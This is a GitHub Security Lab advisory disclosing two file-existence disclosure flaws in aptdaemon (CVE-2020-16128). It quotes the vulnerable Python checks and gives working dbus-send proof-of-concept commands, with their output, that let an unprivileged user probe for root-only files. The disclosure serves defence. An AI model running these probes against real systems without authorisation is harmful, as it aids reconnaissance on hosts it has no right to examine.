skip to content
Back to GitHub.com
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
December 11, 2020

GHSL-2020-192, GHSL-2020-196: File existence disclosure in aptdeamon - CVE-2020-16128

Kevin Backhouse

Summary

Two vulnerabilities in aptdaemon allow an unprivileged user to probe the existence of arbitrary files on the system. These vulnerabilities are very similar to CVE-2020-15703.

Product

aptdaemon

Tested Version

Details

Issue 1: file existence disclosure by setting the “Terminal” property (GHSL-2020-192)

The _set_terminal method at aptdaemon/core.py, line 1090 does several checks to make sure that the path corresponds to a valid tty:

if not os.access(ttyname, os.W_OK):
    raise errors.AptDaemonError("Pty device does not exist: "
                                "%s" % ttyname)
if not os.stat(ttyname)[4] == self.uid:
    raise errors.AptDaemonError("Pty device '%s' has to be owned by"
                                "the owner of the transaction "
                                "(uid %s) " % (ttyname, self.uid))
if os.path.dirname(ttyname) != "/dev/pts":
    raise errors.AptDaemonError("%s isn't a tty" % ttyname)
try:
    slave_fd = os.open(ttyname, os.O_RDWR | os.O_NOCTTY)
    if os.isatty(slave_fd):
        self.terminal = dbus.String(ttyname)
        self.PropertyChanged("Terminal", self.terminal)
    else:
        raise errors.AptDaemonError("%s isn't a tty" % ttyname)
finally:
    os.close(slave_fd)

The difference in the error messages can be used to deduce whether the file exists. An unprivileged user can use this to test the existence of files in a directories which are only readable by root.

Here is a proof-of-concept:

$ dbus-send --system --type="method_call" --print-reply --dest=org.debian.apt /org/debian/apt org.debian.apt.Clean
method return time=1602518207.542350 sender=:1.363 -> destination=:1.362 serial=7 reply_serial=2
   string "/org/debian/apt/transaction/0ff698f3167945d5a7148fb933c1782e"
$ dbus-send --system --type="method_call" --print-reply --dest=org.debian.apt /org/debian/apt/transaction/0ff698f3167945d5a7148fb933c1782e org.freedesktop.DBus.Properties.Set string:org.debian.apt.transaction string:Terminal variant:string:/etc/polkit-1/localauthority/10-vendor.d
Error org.debian.apt: Pty device '/etc/polkit-1/localauthority/10-vendor.d' has to be owned bythe owner of the transaction (uid 1000) 
$ dbus-send --system --type="method_call" --print-reply --dest=org.debian.apt /org/debian/apt/transaction/0ff698f3167945d5a7148fb933c1782e org.freedesktop.DBus.Properties.Set string:org.debian.apt.transaction string:Terminal variant:string:/etc/polkit-1/localauthority/10-vendor.dx
Error org.debian.apt: Pty device does not exist: /etc/polkit-1/localauthority/10-vendor.dx

Note that you need to use the “transaction id” returned by the first dbus-send in the second and third dbus-send commands.

Impact

This issue enables an unprivileged user to probe the existence (or non-existence) of files in directories that are only readable by root.

Issue 2: file existence disclosure by setting the “DebconfSocket” property (GHSL-2020-196)

The _set_debconf method at aptdaemon/core.py, line 1122 does a couple of checks to make sure that the path corresponds to a valid file:

if not os.access(debconf_socket, os.W_OK):
    raise errors.AptDaemonError("socket does not exist: "
                                "%s" % debconf_socket)
if not os.stat(debconf_socket)[4] == self.uid:
    raise errors.AptDaemonError("socket '%s' has to be owned by the "
                                "owner of the "
                                "transaction" % debconf_socket)

The difference in the error messages can be used to deduce whether the file exists. An unprivileged user can use this to test the existence of files in a directories which are only readable by root.

Here is a proof-of-concept:

$ dbus-send --system --type="method_call" --print-reply --dest=org.debian.apt /org/debian/apt org.debian.apt.Clean
method return time=1602519192.917160 sender=:1.368 -> destination=:1.370 serial=9 reply_serial=2
   string "/org/debian/apt/transaction/557e43469a2f43a9ab1874affea55e2d"
$ dbus-send --system --type="method_call" --print-reply --dest=org.debian.apt /org/debian/apt/transaction/557e43469a2f43a9ab1874affea55e2d org.freedesktop.DBus.Properties.Set string:org.debian.apt.transaction string:DebconfSocket variant:string:/etc/polkit-1/localauthority/10-vendor.d
Error org.debian.apt: socket '/etc/polkit-1/localauthority/10-vendor.d' has to be owned by the owner of the transaction
$ dbus-send --system --type="method_call" --print-reply --dest=org.debian.apt /org/debian/apt/transaction/557e43469a2f43a9ab1874affea55e2d org.freedesktop.DBus.Properties.Set string:org.debian.apt.transaction string:DebconfSocket variant:string:/etc/polkit-1/localauthority/10-vendor.dx
Error org.debian.apt: socket does not exist: /etc/polkit-1/localauthority/10-vendor.dx

Note that you need to use the “transaction id” returned by the first dbus-send in the second and third dbus-send commands.

Impact

This issue enables an unprivileged user to probe the existence (or non-existence) of files in directories that are only readable by root.

CVE

Coordinated Disclosure Timeline

Resources

https://ubuntu.com/security/notices/USN-4664-1

Credit

These issues were discovered and reported by GHSL team member @kevinbackhouse (Kevin Backhouse).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-192 or GHSL-2020-196 in any communication regarding this issue.